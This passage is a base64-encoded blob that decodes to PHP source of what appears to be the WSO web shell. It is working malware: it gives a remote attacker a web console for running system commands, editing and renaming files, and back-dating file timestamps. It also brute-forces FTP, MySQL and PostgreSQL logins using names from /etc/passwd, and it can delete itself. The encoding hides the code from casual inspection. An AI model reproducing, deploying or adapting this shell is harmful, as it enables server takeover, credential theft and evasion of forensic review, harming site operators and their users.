yaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxudWxsLHRoaXMuY2htb2QudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jaG1vZCB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwMSddKSksLTQpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwoJCQlicmVhazsKCQljYXNlICdlZGl0JzoKCQkJaWYoICFpc193cml0YWJsZSgkX1BPU1RbJ3AxJ10pKSB7CgkJCQllY2hvICdGaWxlIGlzblwndCB3cml0ZWFibGUnOwoJCQkJYnJlYWs7CgkJCX0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewoJCQkJJHRpbWUgPSBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSk7CgkJCQkkX1BPU1RbJ3AzJ10gPSBzdWJzdHIoJF9QT1NUWydwMyddLDEpOwoJCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwidyIpOwoJCQkJaWYoJGZwKSB7CgkJCQkJQGZ3cml0ZSgkZnAsJF9QT1NUWydwMyddKTsKCQkJCQlAZmNsb3NlKCRmcCk7CgkJCQkJZWNobyAnU2F2ZWQhPGJyPjxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pic7CgkJCQkJQHRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSk7CgkJCQl9CgkJCX0KCQkJZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51bGwsXCcxXCcrdGhpcy50ZXh0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT10ZXh0IGNsYXNzPWJpZ2FyZWE+JzsKCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsKCQkJaWYoJGZwKSB7CgkJCQl3aGlsZSggIUBmZW9mKCRmcCkgKQoJCQkJCWVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7CgkJCQlAZmNsb3NlKCRmcCk7CgkJCX0KCQkJZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKCQkJYnJlYWs7CgkJY2FzZSAnaGV4ZHVtcCc6CgkJCSRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSk7CgkJCSRuID0gMDsKCQkJJGggPSBhcnJheSgnMDAwMDAwMDA8YnI+JywnJywnJyk7CgkJCSRsZW4gPSBzdHJsZW4oJGMpOwoJCQlmb3IgKCRpPTA7ICRpPCRsZW47ICsrJGkpIHsKCQkJCSRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7CgkJCQlzd2l0Y2ggKCBvcmQoJGNbJGldKSApIHsKCQkJCQljYXNlIDA6ICAkaFsyXSAuPSAnICc7IGJyZWFrOwoJCQkJCWNhc2UgOTogICRoWzJdIC49ICcgJzsgYnJlYWs7CgkJCQkJY2FzZSAxMDogJGhbMl0gLj0gJyAnOyBicmVhazsKCQkJCQljYXNlIDEzOiAkaFsyXSAuPSAnICc7IGJyZWFrOwoJCQkJCWRlZmF1bHQ6ICRoWzJdIC49ICRjWyRpXTsgYnJlYWs7CgkJCQl9CgkJCQkkbisrOwoJCQkJaWYgKCRuID09IDMyKSB7CgkJCQkJJG4gPSAwOwoJCQkJCWlmICgkaSsxIDwgJGxlbikgeyRoWzBdIC49IHNwcmludGYoJyUwOFgnLCRpKzEpLic8YnI+Jzt9CgkJCQkJJGhbMV0gLj0gJzxicj4nOwoJCQkJCSRoWzJdIC49ICJcbiI7CgkJCQl9CgkJIAl9CgkJCWVjaG8gJzx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTUgYmdjb2xvcj0jMjIyMjIyPjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogbm9ybWFsOyI+PHByZT4nLiRoWzBdLic8L3ByZT48L3NwYW4+PC90ZD48dGQgYmdjb2xvcj0jMjgyODI4PjxwcmU+Jy4kaFsxXS4nPC9wcmU+PC90ZD48dGQgYmdjb2xvcj0jMzMzMzMzPjxwcmU+Jy5odG1sc3BlY2lhbGNoYXJzKCRoWzJdKS4nPC9wcmU+PC90ZD48L3RyPjwvdGFibGU+JzsKCQkJYnJlYWs7CgkJY2FzZSAncmVuYW1lJzoKCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewoJCQkJaWYoIUByZW5hbWUoJF9QT1NUWydwMSddLCAkX1BPU1RbJ3AzJ10pKQoJCQkJCWVjaG8gJ0NhblwndCByZW5hbWUhPGJyPic7CgkJCQllbHNlCgkJCQkJZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLCInLnVybGVuY29kZSgkX1BPU1RbJ3AzJ10pLiciLG51bGwsIiIpPC9zY3JpcHQ+Jyk7CgkJCX0KCQkJZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51bGwsdGhpcy5uYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CgkJCWJyZWFrOwoJCWNhc2UgJ3RvdWNoJzoKCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewoJCQkJJHRpbWUgPSBzdHJ0b3RpbWUoJF9QT1NUWydwMyddKTsKCQkJCWlmKCR0aW1lKSB7CgkJCQkJaWYoIXRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSkpCgkJCQkJCWVjaG8gJ0ZhaWwhJzsKCQkJCQllbHNlCgkJCQkJCWVjaG8gJ1RvdWNoZWQhJzsKCQkJCX0gZWxzZSBlY2hvICdCYWQgdGltZSBmb3JtYXQhJzsKCQkJfQoJCQljbGVhcnN0YXRjYWNoZSgpOwoJCQllY2hvICc8c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsXCcnIC4gdXJsZW5jb2RlKCRfUE9TVFsncDEnXSkgLiAnXCcsbnVsbCx0aGlzLnRvdWNoLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dG91Y2ggdmFsdWU9IicuZGF0ZSgiWS1tLWQgSDppOnMiLCBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwoJCQlicmVhazsKCX0KCWVjaG8gJzwvZGl2Pic7Cgl3c29Gb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uQ29uc29sZSgpIHsKICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pICYmICFlbXB0eSgkX1BPU1RbJ3AyJ10pKSB7CiAgICAgICAgV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGRlcnJfdG9fb3V0JywgdHJ1ZSk7CiAgICAgICAgJF9QT1NUWydwMSddIC49ICcgMj4mMSc7CiAgICB9IGVsc2VpZighZW1wdHkoJF9QT1NUWydwMSddKSkKICAgICAgICBXU09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnLCAwKTsKCglpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsKCQlXU09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnLCB0cnVlKTsKCQlvYl9zdGFydCgpOwoJCWVjaG8gImQuY2YuY21kLnZhbHVlPScnO1xuIjsKCQkkdGVtcCA9IEBpY29udigkX1BPU1RbJ2NoYXJzZXQnXSwgJ1VURi04JywgYWRkY3NsYXNoZXMoIlxuJCAiLiRfUE9TVFsncDEnXS4iXG4iLndzb0V4KCRfUE9TVFsncDEnXSksIlxuXHJcdFxcJ1wwIikpOwoJCWlmKHByZWdfbWF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3AxJ10sJG1hdGNoKSkJewoJCQlpZihAY2hkaXIoJG1hdGNoWzFdKSkgewoJCQkJJEdMT0JBTFNbJ2N3ZCddID0gQGdldGN3ZCgpOwoJCQkJZWNobyAiY189JyIuJEdMT0JBTFNbJ2N3ZCddLiInOyI7CgkJCX0KCQl9CgkJZWNobyAiZC5jZi5vdXRwdXQudmFsdWUrPSciLiR0ZW1wLiInOyI7CgkJZWNobyAiZC5jZi5vdXRwdXQuc2Nyb2xsVG9wID0gZC5jZi5vdXRwdXQuc2Nyb2xsSGVpZ2h0OyI7CgkJJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsKCQllY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOwoJCWV4aXQ7Cgl9CiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQoJCVdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCcsIDApOwoJd3NvSGVhZGVyKCk7CiAgICBlY2hvICI8c2NyaXB0PgppZih3aW5kb3cuRXZlbnQpIHdpbmRvdy5jYXB0dXJlRXZlbnRzKEV2ZW50LktFWURPV04pOwp2YXIgY21kcyA9IG5ldyBBcnJheSgnJyk7CnZhciBjdXIgPSAwOwpmdW5jdGlvbiBrcChlKSB7Cgl2YXIgbiA9ICh3aW5kb3cuRXZlbnQpID8gZS53aGljaCA6IGUua2V5Q29kZTsKCWlmKG4gPT0gMzgpIHsKCQljdXItLTsKCQlpZihjdXI+PTApCgkJCWRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsKCQllbHNlCgkJCWN1cisrOwoJfSBlbHNlIGlmKG4gPT0gNDApIHsKCQljdXIrKzsKCQlpZihjdXIgPCBjbWRzLmxlbmd0aCkKCQkJZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOwoJCWVsc2UKCQkJY3VyLS07Cgl9Cn0KZnVuY3Rpb24gYWRkKGNtZCkgewoJY21kcy5wb3AoKTsKCWNtZHMucHVzaChjbWQpOwoJY21kcy5wdXNoKCcnKTsKCWN1ciA9IGNtZHMubGVuZ3RoLTE7Cn0KPC9zY3JpcHQ+IjsKCWVjaG8gJzxoMT5Db25zb2xlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1jZiBvbnN1Ym1pdD0iaWYoZC5jZi5jbWQudmFsdWU9PVwnY2xlYXJcJyl7ZC5jZi5vdXRwdXQudmFsdWU9XCdcJztkLmNmLmNtZC52YWx1ZT1cJ1wnO3JldHVybiBmYWxzZTt9YWRkKHRoaXMuY21kLnZhbHVlKTtpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5jbWQudmFsdWUsdGhpcy5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5jbWQudmFsdWUsdGhpcy5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fSByZXR1cm4gZmFsc2U7Ij48c2VsZWN0IG5hbWU9YWxpYXM+JzsKCWZvcmVhY2goJEdMT0JBTFNbJ2FsaWFzZXMnXSBhcyAkbiA9PiAkdikgewoJCWlmKCR2ID09ICcnKSB7CgkJCWVjaG8gJzxvcHRncm91cCBsYWJlbD0iLScuaHRtbHNwZWNpYWxjaGFycygkbikuJy0iPjwvb3B0Z3JvdXA+JzsKCQkJY29udGludWU7CgkJfQoJCWVjaG8gJzxvcHRpb24gdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkdikuJyI+Jy4kbi4nPC9vcHRpb24+JzsKCX0KCQoJZWNobyAnPC9zZWxlY3Q+PGlucHV0IHR5cGU9YnV0dG9uIG9uY2xpY2s9ImFkZChkLmNmLmFsaWFzLnZhbHVlKTtpZihkLmNmLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsZC5jZi5hbGlhcy52YWx1ZSxkLmNmLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9ZWxzZXtnKG51bGwsbnVsbCxkLmNmLmFsaWFzLnZhbHVlLGQuY2Yuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO30iIHZhbHVlPSI+PiI+IDxub2JyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKEAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c2hvd19lcnJvcnMgdmFsdWU9MSAnLighZW1wdHkoJF9QT1NUWydwMiddKXx8JF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnXT8nY2hlY2tlZCc6JycpLic+IHJlZGlyZWN0IHN0ZGVyciB0byBzdGRvdXQgKDI+JjEpPC9ub2JyPjxici8+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1vdXRwdXQgc3R5bGU9ImJvcmRlci1ib3R0b206MDttYXJnaW46MDsiIHJlYWRvbmx5Pic7CglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewoJCWVjaG8gaHRtbHNwZWNpYWxjaGFycygiJCAiLiRfUE9TVFsncDEnXS4iXG4iLndzb0V4KCRfUE9TVFsncDEnXSkpOwoJfQoJZWNobyAnPC90ZXh0YXJlYT48dGFibGUgc3R5bGU9ImJvcmRlcjoxcHggc29saWQgI2RmNTtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyLXRvcDowcHg7IiBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgd2lkdGg9IjEwMCUiPjx0cj48dGQgd2lkdGg9IjElIj4kPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNtZCBzdHlsZT0iYm9yZGVyOjBweDt3aWR0aDoxMDAlOyIgb25rZXlkb3duPSJrcChldmVudCk7Ij48L3RkPjwvdHI+PC90YWJsZT4nOwoJZWNobyAnPC9mb3JtPjwvZGl2PjxzY3JpcHQ+ZC5jZi5jbWQuZm9jdXMoKTs8L3NjcmlwdD4nOwoJd3NvRm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvbkxvZ291dCgpIHsKICAgIHNldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSwgJycsIHRpbWUoKSAtIDM2MDApOwoJZGllKCdieWUhJyk7Cn0KCmZ1bmN0aW9uIGFjdGlvblNlbGZSZW1vdmUoKSB7CgoJaWYoJF9QT1NUWydwMSddID09ICd5ZXMnKQoJCWlmKEB1bmxpbmsocHJlZ19yZXBsYWNlKCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSkpCgkJCWRpZSgnU2hlbGwgaGFzIGJlZW4gcmVtb3ZlZCcpOwoJCWVsc2UKCQkJZWNobyAndW5saW5rIGVycm9yISc7CiAgICBpZigkX1BPU1RbJ3AxJ10gIT0gJ3llcycpCiAgICAgICAgd3NvSGVhZGVyKCk7CgllY2hvICc8aDE+U3VpY2lkZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50PlJlYWxseSB3YW50IHRvIHJlbW92ZSB0aGUgc2hlbGw/PGJyPjxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJ3llc1wnKSI+WWVzPC9hPjwvZGl2Pic7Cgl3c29Gb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uQnJ1dGVmb3JjZSgpIHsKCXdzb0hlYWRlcigpOwoJaWYoIGlzc2V0KCRfUE9TVFsncHJvdG8nXSkgKSB7CgkJZWNobyAnPGgxPlJlc3VsdHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c3Bhbj5UeXBlOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncHJvdG8nXSkuJyA8c3Bhbj5TZXJ2ZXI6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzZXJ2ZXInXSkuJzxicj4nOwoJCWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ2Z0cCcgKSB7CgkJCWZ1bmN0aW9uIHdzb0JydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgewoJCQkJJGZwID0gQGZ0cF9jb25uZWN0KCRpcCwgJHBvcnQ/JHBvcnQ6MjEpOwoJCQkJaWYoISRmcCkgcmV0dXJuIGZhbHNlOwoJCQkJJHJlcyA9IEBmdHBfbG9naW4oJGZwLCAkbG9naW4sICRwYXNzKTsKCQkJCUBmdHBfY2xvc2UoJGZwKTsKCQkJCXJldHVybiAkcmVzOwoJCQl9CgkJfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAnbXlzcWwnICkgewoJCQlmdW5jdGlvbiB3c29CcnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsKCQkJCSRyZXMgPSBAbXlzcWxfY29ubmVjdCgkaXAuJzonLigkcG9ydD8kcG9ydDozMzA2KSwgJGxvZ2luLCAkcGFzcyk7CgkJCQlAbXlzcWxfY2xvc2UoJHJlcyk7CgkJCQlyZXR1cm4gJHJlczsKCQkJfQoJCX0gZWxzZWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ3Bnc3FsJyApIHsKCQkJZnVuY3Rpb24gd3NvQnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7CgkJCQkkc3RyID0gImhvc3Q9JyIuJGlwLiInIHBvcnQ9JyIuJHBvcnQuIicgdXNlcj0nIi4kbG9naW4uIicgcGFzc3dvcmQ9JyIuJHBhc3MuIicgZGJuYW1lPXBvc3RncmVzIjsKCQkJCSRyZXMgPSBAcGdfY29ubmVjdCgkc3RyKTsKCQkJCUBwZ19jbG9zZSgkcmVzKTsKCQkJCXJldHVybiAkcmVzOwoJCQl9CgkJfQoJCSRzdWNjZXNzID0gMDsKCQkkYXR0ZW1wdHMgPSAwOwoJCSRzZXJ2ZXIgPSBleHBsb2RlKCI6IiwgJF9QT1NUWydzZXJ2ZXInXSk7CgkJaWYoJF9QT1NUWyd0eXBlJ10gPT0gMSkgewoJCQkkdGVtcCA9IEBmaWxlKCcvZXRjL3Bhc3N3ZCcpOwoJCQlpZiggaXNfYXJyYXkoJHRlbXApICkKCQkJCWZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsKCQkJCQkkbGluZSA9IGV4cGxvZGUoIjoiLCAkbGluZSk7CgkJCQkJKyskYXR0ZW1wdHM7CgkJCQkJaWYoIHdzb0JydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkbGluZVswXSkgKSB7CgkJCQkJCSRzdWNjZXNzKys7CgkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPGJyPic7CgkJCQkJfQoJCQkJCWlmKEAkX1BPU1RbJ3JldmVyc2UnXSkgewoJCQkJCQkkdG1wID0gIiI7CgkJCQkJCWZvcigkaT1zdHJsZW4oJGxpbmVbMF0pLTE7ICRpPj0wOyAtLSRpKQoJCQkJCQkJJHRtcCAuPSAkbGluZVswXVskaV07CgkJCQkJCSsrJGF0dGVtcHRzOwoJCQkJCQlpZiggd3NvQnJ1dGVGb3JjZShAJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJGxpbmVbMF0sICR0bXApICkgewoJCQkJCQkJJHN1Y2Nlc3MrKzsKCQkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCR0bXApOwoJCQkJCQl9CgkJCQkJfQoJCQkJfQoJCX0gZWxzZWlmKCRfUE9TVFsndHlwZSddID09IDIpIHsKCQkJJHRlbXAgPSBAZmlsZSgkX1BPU1RbJ2RpY3QnXSk7CgkJCWlmKCBpc19hcnJheSgkdGVtcCkgKQoJCQkJZm9yZWFjaCgkdGVtcCBhcyAkbGluZSkgewoJCQkJCSRsaW5lID0gdHJpbSgkbGluZSk7CgkJCQkJKyskYXR0ZW1wdHM7CgkJCQkJaWYoIHdzb0JydXRlRm9yY2UoJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJF9QT1NUWydsb2dpbiddLCAkbGluZSkgKSB7CgkJCQkJCSRzdWNjZXNzKys7CgkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2xvZ2luJ10pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkbGluZSkuJzxicj4nOwoJCQkJCX0KCQkJCX0KCQl9CgkJZWNobyAiPHNwYW4+QXR0ZW1wdHM6PC9zcGFuPiAkYXR0ZW1wdHMgPHNwYW4+U3VjY2Vzczo8L3NwYW4+ICRzdWNjZXNzPC9kaXY+PGJyPiI7Cgl9CgllY2hvICc8aDE+QnJ1dGVmb3JjZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjx0YWJsZT48Zm9ybSBtZXRob2Q9cG9zdD48dHI+PHRkPjxzcGFuPlR5cGU8L3NwYW4+PC90ZD4nCgkJLic8dGQ+PHNlbGVjdCBuYW1lPXByb3RvPjxvcHRpb24gdmFsdWU9ZnRwPkZUUDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9bXlzcWw+TXlTcWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPXBnc3FsPlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD4nCgkJLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4nCgkJLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhJ10pLiciPicKCQkuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2NoYXJzZXQnXSkuJyI+JwoJCS4nPHNwYW4+U2VydmVyOnBvcnQ8L3NwYW4+PC90ZD4nCgkJLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNlcnZlciB2YWx1ZT0iMTI3LjAuMC4xIj48L3RkPjwvdHI+JwoJCS4nPHRyPjx0ZD48c3Bhbj5CcnV0ZSB0eXBlPC9zcGFuPjwvdGQ+JwoJCS4nPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IjEiIGNoZWNrZWQ+IC9ldGMvcGFzc3dkPC9sYWJlbD48L3RkPjwvdHI+JwoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48bGFiZWwgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4Ij48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXJldmVyc2UgdmFsdWU9MSBjaGVja2VkPiByZXZlcnNlIChsb2dpbiAtPiBuaWdvbCk8L2xhYmVsPjwvdGQ+PC90cj4nCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjxsYWJlbD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IjIiPiBEaWN0aW9uYXJ5PC9sYWJlbD48L3RkPjwvdHI+JwoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48dGFibGUgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4Ij48dHI+PHRkPjxzcGFuPkxvZ2luPC9zcGFuPjwvdGQ+JwoJCS4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1sb2dpbiB2YWx1ZT0icm9vdCI+PC90ZD48L3RyPicKCQkuJzx0cj48dGQ+PHNwYW4+RGljdGlvbmFyeTwvc3Bhbj48L3RkPicKCQkuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGljdCB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJ3Bhc3N3ZC5kaWMiPjwvdGQ+PC90cj48L3RhYmxlPicKCQkuJzwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT4nOwoJZWNobyAnPC9kaXY+PGJyPic7Cgl3c29Gb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uU3FsKCkgewoJY2xhc3MgRGJDbGFzcyB7CgkJdmFyICR0eXBlOwoJCXZhciAkbGluazsKCQl2YXIgJHJlczsKCQlmdW5jdGlvbiBEYkNsYXNzKCR0eXBlKQl7CgkJCSR0aGlzLT50eXBlID0gJHR5cGU7CgkJfQoJCWZ1bmN0aW9uIGNvbm5lY3QoJGhvc3QsICR1c2VyLCAkcGFzcywgJGRibmFtZSl7CgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJewoJCQkJY2FzZSAnbXlzcWwnOgoJCQkJCWlmKCAkdGhpcy0+bGluayA9IEBteXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzLHRydWUpICkgcmV0dXJuIHRydWU7CgkJCQkJYnJlYWs7CgkJCQljYXNlICdwZ3NxbCc6CgkJCQkJJGhvc3QgPSBleHBsb2RlKCc6JywgJGhvc3QpOwoJCQkJCWlmKCEkaG9zdFsxXSkgJGhvc3RbMV09NTQzMjsKCQkJCQlpZiggJHRoaXMtPmxpbmsgPSBAcGdfY29ubmVjdCgiaG9zdD17JGhvc3RbMF19IHBvcnQ9eyRob3N0WzFdfSB1c2VyPSR1c2VyIHBhc3N3b3JkPSRwYXNzIGRibmFtZT0kZGJuYW1lIikgKSByZXR1cm4gdHJ1ZTsKCQkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0aW9uIHNlbGVjdGRiKCRkYikgewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQlpZiAoQG15c3FsX3NlbGVjdF9kYigkZGIpKXJldHVybiB0cnVlOwoJCQkJCWJyZWFrOwoJCQl9CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJZnVuY3Rpb24gcXVlcnkoJHN0cikgewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpIHsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbF9xdWVyeSgkc3RyKTsKCQkJCQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9IEBwZ19xdWVyeSgkdGhpcy0+bGluaywkc3RyKTsKCQkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0aW9uIGZldGNoKCkgewoJCQkkcmVzID0gZnVuY19udW1fYXJncygpP2Z1bmNfZ2V0X2FyZygwKTokdGhpcy0+cmVzOwoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQlyZXR1cm4gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXMpOwoJCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCXJldHVybiBAcGdfZmV0Y2hfYXNzb2MoJHJlcyk7CgkJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlmdW5jdGlvbiBsaXN0RGJzKCkgewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5xdWVyeSgiU0hPVyBkYXRhYmFzZXMiKTsKCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgZGF0bmFtZSBGUk9NIHBnX2RhdGFiYXNlIFdIRVJFIGRhdGlzdGVtcGxhdGUhPSd0JyIpOwoJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlmdW5jdGlvbiBsa